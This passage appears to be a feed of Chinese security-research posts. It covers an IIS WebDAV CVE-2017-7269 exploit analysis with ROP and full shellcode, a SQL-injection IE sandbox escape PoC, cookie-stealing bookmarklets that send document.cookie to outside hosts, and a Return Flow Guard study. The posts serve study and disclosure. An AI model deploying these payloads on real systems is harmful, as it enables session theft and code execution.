├────────────┬────────────┤                             │
│ v22.LowPart│v22.HighPart│  ebp-240  (LARGE_INTEGER) ──┘
└────────────┴────────────┘

栈上的数据分布如下所示:

0:006> dds ebp-18
03fafbb8  00000412 --------> CStackBuffer2.fake_heap_size
03fafbbc  03fafab4 --------> CStackBuffer2.buffer[260]
03fafbc0  00000168
03fafbc4  03fafc30
03fafbc8  67140bdd httpext!swscanf+0x137d  --> ret addr
03fafbcc  00000002
03fafbd0  03fafc3c
03fafbd4  6711aba9 httpext!FGetLockHandle+0x40
03fafbd8  07874c2e
03fafbdc  80000000
03fafbe0  03fafc28
03fafbe4  00000000
03fafbe8  07872fc0 --------> CParseLockTokenHeader xx
03fafbec  0788c858
03fafbf0  0788c858


$$ CMethUtil
0:006> r ecx
ecx=07872fc0

$$ LARGE_INTEGER v22
0:006> dd ebp-240 L2
03faf990  5a3211a0 03fafbe8

$$ CStackBuffer2.buffer[260]
0:006> ?ebp-11C
Evaluate expression: 66779828 = 03fafab4

分析栈的布局可以知道,在复制 260+12*4=308 字节数据后,后续的 4 字节数据将覆盖引用 CParseLockTokenHeader 对象的局部变量。需要注意的是,这里所说的 308 字节,是 URL 转变成物理路径后的前 308 字节。执行完 CMethUtil::ScStoragePathFromUrl 之后,680313c0 被填充到父级函数中引用 CParseLockTokenHeader 对象所在的局部变量。

$$ LARGE_INTEGER v22
0:006> dd ebp-240 L2
03faf990  5a3211a0 03fafbe8

0:006> dd 03fafbe8 L1
03fafbe8  680313c0

(3) ScStripAndCheckHttpPrefix 分析
在解析 URL 第二部分(http://localhost/bbbbbbb....)时,由于引用 CParseLockTokenHeader 对象的局部变量的值已经被修改,所以会使用伪造的对象,最终在函数 ScStripAndCheckHttpPrefix 中完成控制权的转移。

CPutRequest::Execute
└──FGetLockHandle
   └──CParseLockTokenHeader::HrGetLockIdForPath ecx = 0x680313C0
      ├──CMethUtil::ScStoragePathFromUrl        ecx = 0x680313C0
      │  └──ScStoragePathFromUrl                ecx = [ecx+0x10]=0x680313C0
      │     └──ScStripAndCheckHttpPrefix        call [[ecx]+0x24]
      └──CMethUtil::ScStoragePathFromUrl

接管控制权后,将开始执行 ROP 代码。

0:006> dd 680313C0 L1
680313c0  680313c0

0:006> dd 680313C0+10 L1
680313d0  680313c0

0:006> dd 680313C0+24 L1
680313e4  68016082

0:006> u 68016082
rsaenh!_alloca_probe+0x42:
68016082 8be1            mov     esp,ecx
68016084 8b08            mov     ecx,dword ptr [eax]
68016086 8b4004          mov     eax,dword ptr [eax+4]
68016089 50              push    eax
6801608a c3              ret
6801608b cc              int     3
6801608c cc              int     3
6801608d cc              int     3

3.5 绕过 DEP

在执行 ROP 代码片段时,会跳转到 KiFastSystemCall 去执行,这里将 EAX 寄存器的值设置为 0x8F,也就是 NtProtectVirtualMemory 的服务号,函数的参数通过栈进行传递。

0:006> dds esp
68031400  68031460      --> return address
68031404  7ffe0300      --> SharedUserData!SystemCallStub
68031408  ffffffff      --> ProcessHandle, CURRENT_PROCESS
6803140c  680313c0      --> BaseAddress
68031410  6803046e      --> RegionSize, 0x48
68031414  00000040      --> NewProtectWin32, PAGE_EXECUTE_READWRITE
68031418  68031434      --> OldProtect

TK 在 CanSecWest 2013 的演讲《DEP/ASLR bypass without ROP/JIT》[4] 中提到:

SharedUserData is always fixed in 0x7ffe0000 from Windows NT 4 to Windows 8
0x7ffe0300 is always point to KiFastSystemCall
Only work on x86 Windows

这里就是用了 0x7ffe0300 这个地址来定位 KiFastSystemCall(关于 KiFastSystemCall 的介绍,可以参考文档 《KiFastCallEntry() 机制分析》 [5])。

3.6 Shellcode

样本中的 Shellcode 如下:

VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAI
AXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB6X6WMV7O7Z8Z8
Y8Y2TMTJT1M017Y6Q01010ELSKS0ELS3SJM0K7T0J061K4K6U7W5KJLOLMR5ZNL0ZMV5L5LM
X1ZLP0V3L5O5SLZ5Y4PKT4P4O5O4U3YJL7NLU8PMP1QMTMK051P1Q0F6T00NZLL2K5U0O0X6
P0NKS0L6P6S8S2O4Q1U1X06013W7M0B2X5O5R2O02LTLPMK7UKL1Y9T1Z7Q0FLW2RKU1P7XK
Q3O4S2ULR0DJN5Q4W1O0HMQLO3T1Y9V8V0O1U0C5LKX1Y0R2QMS4U9O2T9TML5K0RMP0E3OJ
Z2QMSNNKS1Q4L4O5Q9YMP9K9K6SNNLZ1Y8NMLML2Q8Q002U100Z9OKR1M3Y5TJM7OLX8P3UL
Y7Y0Y7X4YMW5MJULY7R1MKRKQ5W0X0N3U1KLP9O1P1L3W9P5POO0F2SMXJNJMJS8KJNKPA

前面分析到函数 CRequest::LpwszGetHeader 会把其转成 UNICODE 字符串,所以在内存中长这个样子:

0:006> db 68031460
68031460  55 00 56 00 59 00 41 00-34 00 34 00 34 00 34 00  U.V.Y.A.4.4.4.4.
68031470  34 00 34 00 34 00 34 00-34 00 34 00 51 00 41 00  4.4.4.4.4.4.Q.A.
68031480  54 00 41 00 58 00 41 00-5a 00 41 00 50 00 41 00  T.A.X.A.Z.A.P.A.
68031490  33 00 51 00 41 00 44 00-41 00 5a 00 41 00 42 00  3.Q.A.D.A.Z.A.B.
680314a0  41 00 52 00 41 00 4c 00-41 00 59 00 41 00 49 00  A.R.A.L.A.Y.A.I.
680314b0  41 00 51 00 41 00 49 00-41 00 51 00 41 00 50 00  A.Q.A.I.A.Q.A.P.
680314c0  41 00 35 00 41 00 41 00-41 00 50 00 41 00 5a 00  A.5.A.A.A.P.A.Z.
680314d0  31 00 41 00 49 00 31 00-41 00 49 00 41 00 49 00  1.A.I.1.A.I.A.I.

这是所谓的 Alphanumeric Shellcode [6],可以以 ASCII 或者 UNICODE 字符串形式呈现 Shellcode。

3.7 The Last Question

最后一个问题是,在 Exploit 的两个 URL 之间存在 (Not <locktoken:write1>) 这样一个字符串,这个字符串的作用是什么呢?如果删掉这个字符串,Exploit 就失效了,因为 HrCheckIfHeader 中解析 URL 的流程中断了,而解析流程得以继续的关键是 while 循环中嵌套的 for 循环对 IFITER::PszNextToken(2) 的调用。需要注意的是,这里传递的参数值是 2,而分析 IFITER::PszNextToken() 的反汇编代码,可以知道这个字符串只要满足一定的形式就可以了,如 (nOt <hahahahah+asdfgh>) 或者 (nOt [hahahahah+asdfgh]) 都是可以的。

int __thiscall IFITER::PszNextToken(int this, signed int a2)
{
  //......
  if ( !_wcsnicmp(L"not", (const wchar_t *)v4, 3u) )
  {
    *(_DWORD *)(v2 + 4) += 6;
    *(_DWORD *)(v2 + 28) = 1;       // ----> 设置值
    while ( **(_WORD **)(v2 + 4) && iswspace(**(_WORD **)(v2 + 4)) )
      *(_DWORD *)(v2 + 4) += 2;
    if ( !**(_WORD **)(v2 + 4) )
      return 0;
  }
  v17 = **(_WORD **)(v2 + 4);
  if ( v17 == '<' )
  {
LABEL_64:
    v23 = '>';
    goto LABEL_65;
  }
  if ( v17 != '[' )
    return 0;
  v23 = ']';
LABEL_65:
  v20 = *(_DWORD *)(v2 + 4);
  v21 = wcschr((const wchar_t *)(v20 + 2), v23);
  *(_DWORD *)(v2 + 4) = v21;
  if ( !v21 )
    return 0;
  *(_DWORD *)(v2 + 4) = v21 + 1;
  v22 = v2 + 8;
  StringBuffer<char>::AppendAt(0, 
    2 * ((signed int)((char *)v21 - v20) >> 1) + 2, v20);
  StringBuffer<char>::AppendAt(*(_DWORD *)(v22 + 8), 
    2, &gc_wszEmpty);
  return *(_DWORD *)v22;
}

不过 not 字符串是不能替换的,因为这里会影响程序的执行流程。从上面的代码可以看出,存在 not 字符串时会将对象偏移 28 (0x1C) 处的值设置为 1,这个值会决定父级函数中的一个跳转(goto LABEL_27)是否执行。

// v22      -> ebp-44C
// ifilter  -> ebp-468
// 0x468 + 0x1C = 0x44C

if ( !FGetLastModTime(0, v8, &v23) || !FETagFromFiletime(
        &v23, &String, *((const struct IEcb **)a1 + 4)) )
{
LABEL_26:
  if ( v22 )                            // ==1
    goto LABEL_27;
  goto LABEL_30;
}

4. 其他

要编写一个真实环境中通用的 Exploit,还需要考虑许多其他因素,比如 IIS 设置的物理路径等,文章 [7] 列举了一些注意事项。

此外,文章 [8] 提到了一种基于 HTTP 回传信息的方法。

当然,关于编写通用 Exploit 所需要注意的细节,也可以参考 NSA 的 Explodingcan 的参数设置。

NSA Explodingcan 参数设置

5. References

[1] https://github.com/edwardz246003/IIS_exploit
[2] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7269
[3] https://0patch.blogspot.com/2017/03/0patching-immortal-cve-2017-7269.html
[4] https://cansecwest.com/slides/2013/DEP-ASLR%20bypass%20without%20ROP-JIT.pdf
[5] http://www.mouseos.com/windows/kernel/KiFastCallEntry.html
[6] https://github.com/SkyLined/alpha3
[7] https://xianzhi.aliyun.com/forum/read/1458.html
[8] https://ht-sec.org/cve-2017-7269-hui-xian-poc-jie-xi/

]]>
用SQL注入穿IE沙箱 //xlab.tencent.com/cn/2017/01/19/ie-sandbox-escape-with-sql-injection/ Thu, 19 Jan 2017 09:24:23 +0000 //xlab.tencent.com/cn/?p=260 继续阅读“用SQL注入穿IE沙箱”]]> 0x00 前言

每一个安全初学者都喜欢问这样一个问题,“我应该做web安全还是做二进制安全,哪个更有意思?哪个更有钱途?”

二进制安全就只等于反汇编,逆向,调试,内核 ……?

Web安全就只等于XSS,SQL注入,CSRF,webshell ……?

当两者结合起来的时候会发生什么美妙的事情呢?

一个典型的Web系统运行于Linux平台,使用Apache作为服务器,用PHP完成功能逻辑,重要数据存储在MySQL数据中,接收用户输入并返回信息。对于客户端软件来说其实也存在类似的架构,软件运行在Windows系统上,用C/C++完成功能逻辑,可能用SQLite存储重要数据,支持进程间通信。

那么在二进制漏洞挖掘中是否可用使用Web漏洞挖掘的思路呢?

笔者在研究某客户端软件时发现了一个非常有意思的逻辑安全漏洞。本文笔者将展示如何使用客户端软件中存在的SQL注入漏洞,实现本地权限提升,使用漏洞可以绕过IE沙箱等的限制,在高权限进程的上下文中执行任意代码。

0x01基础知识

1.1 用户界面特权隔离(UIPI)

用户界面特权隔离,即 User Interface Privilege Isolation,是Windows Vista后引入的一种新的安全机制。限制低完整性级别的进程向高完整性级别的进程窗口发送消息,从而减少攻击面,防止低完整性级别的恶意程序,通过进程间通信,在高完整性级别的上下文里执行任意代码,从而提升权限。

1.2 ChangeWindowMessageFilter[Ex]

由于UIPI的限制,低完整性级别的进程向高完整性级别的进程发送消息时会返回拒绝访问,但是Windows提供了ChangeWindowMessageFilter和ChangeWindowMessageFilterEx函数,可以用来关闭UIPI的限制,完美绕过Windows提供的防护机制。

1.3 SQL注入

SQL注入攻击(SQL Injection),简称注入攻击,是Web开发中最常见的一种安全漏洞。可以用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶意操作,甚至有可能获取数据库乃至系统用户最高权限。

而造成SQL注入的原因是因为程序没有有效过滤用户的输入,使攻击者成功的向服务器提交恶意的SQL查询代码,程序在接收后错误的将攻击者的输入作为查询语句的一部分执行,导致原始的查询逻辑被改变,额外的执行了攻击者精心构造的恶意代码。

0x02 客户端软件SQL注入漏洞

本节将介绍笔者在研究某客户端软件时发现的一个安全漏洞,为读者展示如何使用Web安全的思路,获得一个本地权限提升漏洞。

2.1 进程间通信

开机后该软件会启动DCProcess.exe程序,为了进程间通信,该程序会调用ChangeWindowMessageFilter函数,关闭UIPI机制。

逆向代码如下所示:

v7 = GetProcAddress(v5, "ChangeWindowMessageFilter");
(v7)(WM_COPYDATA, MSGFLT_ADD);

此举会导致低完整性级别的程序可以向DCProcess.exe程序发送WM_COPYDATA消息。

该软件通过WM_COPYDATA消息来控制DCProcess.exe程序运行特定脚本,脚本程序放置在程序目录Scripts下,如图2.1所示

图2.1

2.2 SQL注入漏洞

脚本的信息存储在DC_Container.s3db数据库中,其中tbl_script表如图2.2所示


图2.2

DCProcess.exe通过SQL查询语句来获取脚本运行的相关信息,但是在此处并没有对用户输入进行过滤,导致存在SQL注入问题。

sub_1001BD60("select * from tbl_script where ID = '%s'", v2);//其中 v2为WM_COPYDATA传递的数据

通过SQL注入漏洞,可以控制执行脚本的路径,从而执行我们构造的脚本。

POC如下所示:

HWND hWnd=FindWindow(0,L"DCCoreProcess");
WCHAR str[]=L"' and 1=0 union select 1,'test','../../../../../test/test.xml',0,3,1,'test',0,0,0 where '1'='1";
COPYDATASTRUCT MyCDS;
MyCDS.dwData=0xFBE;
MyCDS.cbData=sizeof(str);
MyCDS.lpData=str;
SendMessage(hWnd,WM_COPYDATA,(WPARAM)hCurrentWnd,(LPARAM)&MyCDS);

上述代码会使DCProcess.exe程序执行c:\test\test.xml脚本,通过定制该脚本,可以实现任意代码执行。由于ChangeWindowMessageFilter函数的存在使得IE沙箱之类低完整性级别的程序,可以绕过Windows权限控制体系,在DCProcess.exe的上下文中执行任意代码。下述脚本演示了如何实现运行notepad.exe程序。

<?xml version="1.0" encoding="UTF-8"?>

<root>
  <scripttype value="7"/>
  <visible value="1"/>
  <scriptlevel value="0"/>
  <scriptname value="test"/>
  <scriptdes value="test"/>
  <process>
    <step id="10453f34-86fa-7aee-e4fc-bbfcbd21a27c" name="ExecuteFile" desc="test" dll="ShellApi" dllURL="/download/dll/ShellApi.dll" dllPath="" com_dll="" com_dllURL="" com_dllPath="" continueOnFail="0" osType="2">
      <para name="Path" isInput="true" position="1" datatype="4" value="c:\windows\system32\notepad.exe"/>
      <para name="Arguments" isInput="true" position="2" datatype="4" value=""/>
      <para name="ExecuteAccount" isInput="true" position="3" datatype="4" value="0"/>
      <para name="WaitComplete" isInput="true" position="4" datatype="3" value="0"/>
    </step>
  </process>
</root>

0x03 总结

该漏洞其实并不复杂,危害程序也有限,但是在客户端软件的开发中使用关系型数据库,输入可控,又不对输入数据进行校验,导致通过SQL注入来实现权限提升,却是一个非常有趣的问题。

据此我们也可以发现,二进制安全和Web安全,并没有严格的界限,拥有更广的知识面,更灵活的思路,才有可能发现更多,更有趣的安全漏洞。

Disclosure Timeline:

2016/12/26 向相关厂商提供漏洞细节
2016/12/26 回复确认
2016/12/29 确认漏洞,并停产此款软件
2017/01/05 询问是否出安全补丁
2017/01/05 回复已下线软件,不再上线使用
2017/01/19 公开漏洞

]]>
BadBookmarklet //xlab.tencent.com/cn/2017/01/18/badbookmarklet/ Wed, 18 Jan 2017 01:56:27 +0000 //xlab.tencent.com/cn/?p=213 继续阅读“BadBookmarklet”]]> Bookmarklet,中文名可以翻译成小书签,它的存在形式和书签一样,都被保存在浏览器的收藏夹中。但它不是一个 HTTP、FTP、File 开头的 URL,而是一段 javascript: 开头的 javascript 代码。1995 年 Javascript 的作者 Brendan Eich 特意设计 javascript: URLs 和普通URL一样用于收藏夹,时至今日小书签已经于浏览器中存在了 20多年。

在这些年中浏览器以及WEB 上的攻防对抗风云幻变,也使小书签上的安全风险渐渐大于它的业务实用性。从攻击的角度来看,日渐复杂的应用场景、多样化的攻击手段层出不穷,使小书签可以执行任意 javascript 代码的这个特性演变成一了种攻击手段。而在防御层面,CSP 的出现与普及,也似乎预示着小书签的历史使命走到了尽头。

本文从在现代浏览器中导入和拖放小书签,来介绍小书签是如何变成一种致命攻击手段的。

1. 小书签的历史

“这是一个特意设计的特性:我在1995年发明 JavaScript 的时候发明了 javascript: 这类 URL,并打算使得 javascript: URLs 用法和其他URL一样,包括收录入收藏夹。 我特地把”JavaScript:” URL设计得可以在运行时产生一个新文档,例如 javascript:’hello, world’ ,同时也可以在当前文档的 DOM 下运行任意脚本(这点对小书签尤其有用),就像这样: javascript:alert(document.links[0].href) 。 这两者的区别就是,后者的URL在JS解析下值为 undefined。我在 Netscape 2 投入市场前加入了 void 操作符来清除任何非 undefined 的 javascript: URL 的值。”

——Brendan Eich,寄给 Simon Willison 的邮件

以上是 JavaScript 的发明人 Brendan Eich 说明小书签来历的一段话,引自于维基百科 http://zh.wikipedia.org/zh-cn/小书签

这20多年来浏览器小书签也一直遵循着当年 Brendan Eich 对它的定义。

2. 小书签的正常功能

我们知道浏览器使用隶属于<a> 标签的href的URI标签来存储书签。浏览器用 URI 前缀,例如 http:, file:,或是 ftp: 来确定协议以及请求剩余字符串的格式。

浏览器也能像执行其它前缀一样执行 javascript:。在内部处理时,当浏览器检查到协议为JavaScript,就将后面的字符串作为 JavaScript 脚本来执行,并用执行结果产生一个新页面。

例如这段小书签,可以直接让用户进行 base64 编码的转换:

javascript:(function(){x=prompt('Text:','');l=x.length%3;if(l)for(i=1;i<7-l;i++)x=x+'%20';;prompt('Output:',window.btoa(x));})();

而下面这段小书签则会在用户的当前域弹出 cookie:

Javascript:alert(document.cookie)

3. 小书签上的安全风险

小书签中可以写入任意 Javascript 代码,这使得写入恶意代码也成为可能。如果小书签中是一段可以获取用户 cookie 并发送给攻击者的代码,那么当用户点击这段小书签后,当前域的 cookie 信息就会被攻击者获取到。这个时候,小书签即变成了 UXSS 的孵化器。如果设备之间浏览器开启 SYNC,那么这段恶意小书签也会同步到其他设备上去,使危害增大。

看起来以上的分析是可行的,但如何让小书签变得有攻击性呢,因为用户不会主动去写一个恶意的小书签,然后自己去点击。而就算用户自己在小书签里自娱自乐的 Self-XSS 的弹个 alert(1),又有何不可?

如果我们能找到一个场景,可以让用户无意在浏览器中注入恶意的小书签。基于此想法,来看下面这个场景:
1. 用户在保存书签的时候,就认为书签是正确的。
2. 在点击书签后也会导航到正确的网站。

如果上面2点能顺利完成,且整个过程从表面来看没有任何差错和异常,那么用户对这个小书签基本上就不会去怀疑。在下文我们测试的过程中,当用户点击了这个书签,用户的信息即被攻击者获取到了!

4. 导入和拖放恶意小书签

在现代浏览器中,增加了多种添加书签的方法。这其中包括直接导入 HTML 格式的书签文件和直接拖放链接保存为书签。这两种保存书签方式使得小书签上的攻击成为可能!

4.1 导入恶意小书签

在现代浏览器中,都有了书签导入导出的功能。我们可以把书签导出为 HTML 文件,并能随时把 HTML 的书签导入到浏览器中。另外,不同浏览器之间也可以互相导入。

例如导入如下书签文件,你可以把它保存为 bookmark.html,然后导入到浏览器中:

<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8">
<TITLE>Bookmarks</TITLE>
<H1>Bookmarks</H1>
    <DT><H3>xss Bookmarks</H3>
    <DL><p>
        <DT>
        <DT><H3>xss_test</H3>
        <DL><p>
        </DL><p>
        <DT><A HREF="javascript:document.write('hack by xisigr');">xss0</A>
        <DT><A HREF="Javascript:alert(document.cookie);">xss1</A>
        <DT><A HREF="javascript: var b=document.createElement('script');b.src='http:// attackip /get.php?cookie='+escape(document.cookie);document.body.appendChild(b);setTimeout(%22location='http://www.google.com'%22,1000);">google</A>
    </DL><p>
</DL>

在我们测试过程中,Chrome/Firefox/Safari/Opera 这四款浏览器可以直接导入 bookmark.html 小书签,导入的过程中没有任何提示。IE无法导入这样的小书签,导入时会提示错误而中断。

小书签的自身特性,决定了上面的这三个小书签,在用户点击的时候,可以直接在当前 DOM 下渲染执行。如果当前域是 gmail.com,那么就等同于是在 gmail.com 域中插入了一段 Javascript 脚本,并运行它。

于是,我们有了如下的攻击场景:
1. 攻击者在网上共享了一个书签文件 bookmarks.html(注入了恶意代码)
2. 用户看到书签不错,下载下来.
3. 用户把书签 bookmakes.html 文件导入到浏览器中。
4. 在已经打开任何域的情况下,打开书签,书签中的恶意 javascript 代码就会注入到当前域下。一个 UXSS 攻击就发生了。

4.2 拖放恶意小书签

除了导入书签文件外,还可以使用拖放的方式来保存书签。

我在Safari浏览器中找到一个真实的小书签攻击案例。整个场景将在 MAC+IPad 环境下进行,为了体现攻击效果,我们在攻击场景中加入了设备之间的 SYNC,在这个攻击过程中,利用了一个 Safari 浏览器的拖放书签欺骗漏洞,来欺骗用户把恶意的小书签保存到收藏夹中,这个小书签保存后名称会显示 google.com,点击后也会到达 google.com,整个攻击过程非常隐蔽,很容易欺骗到用户。假设用户已经在 MAC、IPad 中打开了 Amazon 和 Gmail。那么当用户点击 google.com这个书签导航到 google.com 后,Amazon 和 Gmail 的 cookie 就被攻击者获取到了。

这个攻击场景如下图:

1. 用户拖放链接保存为书签。
2. 设备开启同步后,书签也会保存到其他设备上。
3. 当用户点击书签后,当前域的 cookie 会发送给攻击者。

第一步很关键,用户拖放链接保存为书签。这里会用到一个 Safari 浏览器拖放书签的欺骗攻击。先简单说下这个欺骗漏洞的原理,把如下代码保存为 attack.html。

<div draggable="true" ondragstart="event.dataTransfer.setData('text',  'http://baidu.com/#/google');"><a  href=http://www.google.com>google.com</a></div>

用 Safari 打开后,链接会显示 google.com,用户点击后会指向 google.com。但用户拖放这个链接保存为书签时,拖放的内容会被替换为 http://baidu.com/#/google ,而保存到收藏夹后,由于 Safari 收藏夹的设计特点,会取 URL 中最后“/”后面的字符作为书签的名字,所以书签的名字将是 google。那么在整个保存为书签的过程中,用户看到的始终是 google,所以不会对此次拖放保存书签有怀疑。当用户点击书签链接时,由于链接中加入了 #,所以 URL 会忽略掉#后面的内容,直接转向到了 baidu.com。这可以看做是一次重定向攻击。

了解完书签拖放欺骗的原理后,我们就来看一个真正的攻击,这次拖放替换的内容不是一个 URL,而是一个 javascript: 开头的小书签。可以直接在当前域下注入任意 javascript 代码。一个 UXSS 产生了。

将如下代码保存为 attack.html
代码:

<div draggable="true" ondragstart="event.dataTransfer.setData('text',  'javascript:%76%61%72%20%62%3D%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%62%2E%73%72%63%3D%27%68%74%74%70%3A%2F%2F%78%69%73%69%67%72%2E%63%6F%6D%2F%32%30%31%35%74%65%73%74%2F%67%65%74%2E%70%68%70%3F%63%6F%6F%6B%69%65%3D%27%2B%65%73%63%61%70%65%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3B%64%6F%63%75%6D%65%6E%74%2E%62%6F%64%79%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%62%29%3B%73%65%74%54%69%6D%65%6F%75%74%28%22%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D%27%22%2C%31%30%30%30%29%3B/#/google');"><a href=http://www.google.com>google.com</a></div>

编码部分的代码为:

var b=document.createElement('script');b.src='http://xisigr.com/2015test/get.php?cookie='+escape(document.cookie);document.body.appendChild(b);setTimeout("location='http://www.google.com'",1000);

演示视频:

5. CSP的出现使小书签消亡

自从内容安全策略(Content Security Policy,简称 CSP)开始被提出,这些年逐渐被各大浏览器厂商支持和认可,也预示着小书签的历史使命走到了尽头。

大家知道 CSP 是为了防止 XSS 而设计,默认配置下不允许执行内联代码(<script> 块内容,内联事件,内联样式),以及禁止执行 eval() , newFunction() , setTimeout([string], …) 和 setInterval([string], …)。

内联 Javascript 不能运行,不能加载外部资源,这些限制都使得小书签将不能正常工作。就此问题,Firefox 的 bugzilla 社区中曾有过白热化的讨论, https://bugzilla.mozilla.org/show_bug.cgi?id=866522 ,其中有一个对书签狂热的使用者说道:

【作为一个“超级用户”,我非常依赖我的书签工具和 Greasemonkey 的用户脚本来执行各种功能和特性,在各种网站(加入了 CSP 防御),书签中的脚本无法使用,现在这个的问题,非常恼人,困然了我好几个月。安全性显然是重要的,但是,作为最终用户,我应该永远有控制和浏览体验的绝对权力,并且几乎能够做我想做的。】

而另一篇文章,则直接写到Bookmarklets are Dead…
https://medium.com/making-instapaper/bookmarklets-are-dead-d470d4bbb626

在我们写这篇文章时,Firefox/Edge 浏览器中,小书签作为内联JS是不可以运行的,Chrome/Safari 浏览器中则是可以的。这是不是也可以认为小书签绕过了 CSP 呢?

6. 建议

其实对于Javascript:URLs 这样的用法,浏览器厂商也已经开始意识到它在特殊场景下所带来的安全风险。比如在之前的浏览器中,用户可以直接粘贴 Javascript:URLs 到地址栏并运行,但现在 Chrome /Firefox/Edge 浏览器会直接把 Javascript: 这个协议关键字去掉。

但对于小书签中可以直接执行 Javascript:URLs ,浏览器厂商始终保持一个较为保守的态度,毕竟小书签已经伴随浏览器 20 多年。对此,我们对小书签的使用,提出几点安全建议,可以暂时缓解小书签带来的安全风险:

浏览器厂商方面:对小书签的内容和权限进行颗粒度更细的控制。比如从文件或其他浏览器导入小书签时,严格过滤小书签内容,对可疑小书签弹出风险提示。

安全厂商方面:可以推出检测小书签的浏览器插件等。对恶意小书签,弹出预警提示。

用户方面:不要随意导入第三方小书签,明确导入的小书签功能是什么。

7. 厂商回复

Chrome
2015/04/13:向 Chrome 报告浏览器小书签安全问题
2015/04/13:Chrome 答复小书签上面的安全问题,他们在内部也讨论了很多次,目前来看小书签的实用性大于它带来的安全风险。
截至发稿时,并没有修复小书签可能涉及的安全风险。

Firefox
2015/04/13:向 Firefox 报告浏览器小书签安全问题
2015/04/14:Firefox 回复他们认为导入书签时,应该有个风险提示。还认为恶意书签的钓鱼、重定向攻击也是很严重。
截至发稿时,并没有修复小书签可能涉及的安全风险。

Safari
2015/04/13:向 Apple 报告 Safari 浏览器小书签安全问题
2015/04/21:向 Apple 报告 Safari 浏览器书签拖放欺骗
2015/12/02:向 Apple 提供详细漏洞视频
2015/12/25:询问 Apple 处理漏洞进度
2016/01/27:Apple 回复正在调查中
截至发稿时,没有任何回复,并没有修复小书签可能涉及的安全风险。

8. 参考:

[1] http://zh.wikipedia.org/zh-cn/小书签
[2] https://bugzilla.mozilla.org/show_bug.cgi?id=866522
[3] https://medium.com/making-instapaper/bookmarklets-are-dead-d470d4bbb626

]]>
Return Flow Guard //xlab.tencent.com/cn/2016/11/02/return-flow-guard/ Wed, 02 Nov 2016 06:33:54 +0000 //xlab.tencent.com/cn/?p=199 继续阅读“Return Flow Guard”]]> 腾讯玄武实验室 DannyWei, lywang, FlowerCode

这是一份初步文档,当我们有新发现和更正时会进行更新。

我们分析了微软在2016年10月7日发布的Windows 10 Redstone 2 14942中加入的新安全机制Return Flow Guard。

1 保护原理

微软从Windows 8.1 Update 3之后加入了Control Flow Guard,用于阻止对间接跳转函数指针的篡改。CFG通过在每个间接跳转前检查函数指针合法性来实现,但是这种方式并不能阻止篡改栈上的返回地址或者Return Oriented Programming。

本次加入的新安全机制RFG,会在每个函数头部将返回地址保存到fs:[rsp](Thread Control Stack),并在函数返回前将其与栈上返回地址进行比较,从而有效阻止了这些攻击方式。

开启RFG需要操作系统和编译器的双重支持,在编译阶段,编译器会以nop指令的形式在目标函数中预留出相应的指令空间。当目标可执行文件在支持并开启RFG的系统上运行时,预留的指令空间会在加载阶段被替换为RFG指令,最终实现对返回地址的检测。当在不支持RFG的操作系统上运行时,这些nop指令则不会影响程序的执行流程。

RFG与GS最大的区别是,攻击者可以通过信息泄漏、暴力猜测等方式获取栈cookie从而绕过GS保护,而RFG是将当前的函数返回地址写入了攻击者不可控的Thread Control Stack,从而进一步提高了攻击难度。

2 控制开关

2.1 内核中的MmEnableRfg全局变量

该变量由注册表键值控制。该键值位于:
\Registry\Machine\SYSTEM\CurrentControlSet\Control\Session Manager\kernel
EnableRfg : REG_DWORD

2.1.1 初始化过程

KiSystemStartup -> KiInitializeKernel -> InitBootProcessor -> CmGetSystemControlValues

2.2 映像文件标志位

标志位存储在IMAGE_LOAD_CONFIG_DIRECTORY64结构中。
GuardFlags中的标志位指示该文件的RFG支持情况。

#define IMAGE_GUARD_RF_INSTRUMENTED                    0x00020000 // Module contains return flow instrumentation and metadata
#define IMAGE_GUARD_RF_ENABLE                          0x00040000 // Module requests that the OS enable return flow protection
#define IMAGE_GUARD_RF_STRICT                          0x00080000 // Module requests that the OS enable return flow protection in strict mode

2.3 进程标志位

2.3.1 外部读取

通过Win32 API GetProcessMitigationPolicy可以获取RFG的开启状态。

typedef enum _PROCESS_MITIGATION_POLICY {
// ...
    ProcessReturnFlowGuardPolicy = 11
// ...
} PROCESS_MITIGATION_POLICY, *PPROCESS_MITIGATION_POLICY;

2.3.2 结构定义

typedef struct _PROCESS_MITIGATION_RETURN_FLOW_GUARD_POLICY {
    union {
        DWORD Flags;
        struct {
            DWORD EnableReturnFlowGuard : 1;
            DWORD StrictMode : 1;
            DWORD ReservedFlags : 30;
        } DUMMYSTRUCTNAME;
    } DUMMYUNIONNAME;
} PROCESS_MITIGATION_RETURN_FLOW_GUARD_POLICY, *PPROCESS_MITIGATION_RETURN_FLOW_GUARD_POLICY;

3 新增的PE结构

3.1 IMAGE_LOAD_CONFIG_DIRECTORY64

启用RFG的PE文件中,Configuration Directory的IMAGE_LOAD_CONFIG_DIRECTORY64结构新增了如下字段:

ULONGLONG  GuardRFFailureRoutine; 
ULONGLONG  GuardRFFailureRoutineFunctionPointer; 
DWORD      DynamicValueRelocTableOffset;
WORD       DynamicValueRelocTableSection;

两个指针(16字节)
GuardRFFailureRoutine是_guard_ss_verify_failure函数的虚拟地址;GuardRFFailureRoutineFunctionPointer是
_guard_ss_verify_failure_fptr函数指针的虚拟地址,默认指向_guard_ss_verify_failure_default函数。

地址信息(6字节)
DynamicValueRelocTableOffset记录了动态重定位表相对重定位目录的偏移;
DynamicValueRelocTableSection记录了动态重定位表所在的节索引。

3.2 IMAGE_DYNAMIC_RELOCATION_TABLE

启用RFG的PE文件在普通的重定位表之后还有一张动态重定位表(IMAGE_DYNAMIC_RELOCATION_TABLE),结构如下。

typedef struct _IMAGE_DYNAMIC_RELOCATION_TABLE {
    DWORD Version;
    DWORD Size;
//  IMAGE_DYNAMIC_RELOCATION DynamicRelocations[0];
} IMAGE_DYNAMIC_RELOCATION_TABLE, *PIMAGE_DYNAMIC_RELOCATION_TABLE;

